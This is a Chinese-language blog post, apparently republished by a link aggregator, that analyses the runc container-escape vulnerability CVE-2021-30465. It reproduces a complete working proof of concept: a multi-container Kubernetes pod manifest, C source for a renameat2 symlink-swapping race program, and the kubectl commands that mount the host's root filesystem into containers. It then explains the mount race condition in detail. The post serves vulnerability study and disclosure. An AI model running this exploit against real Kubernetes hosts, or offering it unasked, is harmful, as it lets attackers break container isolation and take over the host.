19

runc容器逃逸漏洞分析(CVE-2021-30465)

 2 years ago
source link: https://www.kingkk.com/2021/06/runc%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2021-30465%EF%BC%89/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
runc容器逃逸漏洞分析(CVE-2021-30465) - Kingkk's Blog

虽然漏洞的利用难度比较高,但是个人感觉还是很有意思的一个洞,值得记录一下。不过分析起来可能会像是一篇译文23333,欢迎直接阅读原文。

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

1、首先需要创建多个容器,一个正常启动的容器c1,以及多个无法正常启动(即image为donotexists.com/do/not:exist)的容器c2-c20

以及两个volume数据卷teset1和test2,分别挂载在各个容器中

apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
- name: c2
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
- name: c3
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
... // 省略c4-c20的容器
volumes:
- name: test1
emptyDir:
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"

2、然后准备 一个race.c,并编译成race二进制文件gcc race.c -O3 -o race

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

/* musl libc does not define RENAME_EXCHANGE */
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE 2
#endif

int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];

int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}

if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}

while (1)
{
int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}

3、等待c1容器正常启动之后,将race copy至c1中

kubectl cp race -c c1 attack:/test1/

4、并且在c1中生成 /test2/test2链接文件,指向根目录/ (这里软链接的文件名务必和数据卷名字相同)

kubectl exec -ti pod/attack -c c1 -- bash
ln -s / /test2/test2

5、然后在c1容器中启动race二进制

cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

这里的作用就是起了四个进程,创建mnt-tmpX软链接,指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/,然后通过系统调用renameat2不断交换mntXmnt-tmpX两个文件。

6、然后将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)

for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done

此时能看到attack这个pod中的容器全部正常启动

20210602160821.png

7、然后会有一部分容器的/test1/zzz会被指向宿主机的根目录,至此逃逸成功

for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

20210602161022.png

可以看出这应该是一个和条件竞争相关的漏洞,因此我们可以简化一下这个流程,来讨论一下逃逸成功的情况。

首先要了解一点,runc在挂载 volumes 时是不允许将软链接挂载至容器中的,因为runc会跟随软链接指向的地址,将宿主机上的目录挂载至容器中。

因此runc会经过一个 securejoin.SecureJoinVFS() 的函数,先对要挂载的目录进行check,然后再进行mount操作。在这期间就会形成一个先后时间差,从而产生条件竞争。从而可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器中,从而产生逃逸。

知道这一点之后,再来看下POC是如何利用这一点的。

首先要确保攻击container(c1)和恶意创建的container都挂载了相同的volumes(test1和test2)

1、c1在test1数据卷下生成一个mntX以及一个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/mnt-tmpX软链接,然后不断交换mntXmnt-tmpX。并且创建/test2/test2指向根目录。

这里的$MY_POD_UID虽然是在启动时注入的,但实际上可以通过/proc/self/mountinfo来获取

1622622833289.png

以及这个/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/实际上就是宿主机上当前pod的数据卷目录

2、然后当其余容器正常启动时,就会先去挂载test1数据卷到/test1目录下,然后挂载test2至/test1/mntX

由于共享一个数据卷的原因,c1就会不断更换当前容器的/test/mntX/test1/mnt-tmpX

因而在test2挂载至/test1/mntX时,一开始securejoin.SecureJoinVFS检查时是一个正常的文件,于是通过了检测,进行mount操作。

但是在mount操作时/test1/mntX被更换成了一个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/的软链接。

于是在宿主机上本来是将进行如下操作

mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX")

跟随软链接之后就变成了

mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/")

于是相当于test2数据卷覆盖了整个/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/目录,因此再挂载test2数据卷到/test1/zzz目录时,就会进行如下操作

mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

由于之前c1容器创建了/test2/test2指向根目录,因此这里的/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2其实就是一个指向当前宿主机根目录的软链接,于是以上操作就变成了。(这也是为什么要创建和数据卷同名的软链接文件)

mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

从而将宿主机根目录挂载到了容器的/test1/zzz中,实现了容器逃逸。

感觉还是很有意思的一个洞,很佩服这个黑客的脑洞,以及直接将Google的bounty捐了XD(respect)。

个人认为该漏洞最重要的一步应该莫过于将test2这个数据卷挂载到了一个软链接指定的任意宿主机目录,当然这里选择挂载到了pod数据卷目录。因此别的container挂载数据卷时就会去这个恶意的数据卷目录里去寻找对应目录,然后再利用软链接将宿主机根目录挂载到了容器中,从而实现容器逃逸。

至于利用的话,难点在于需要有容器的发布、挂载和exec权限,以及和恶意容器拥有两个共享的数据卷。

References

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r

https://man7.org/linux/man-pages/man2/rename.2.html



About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK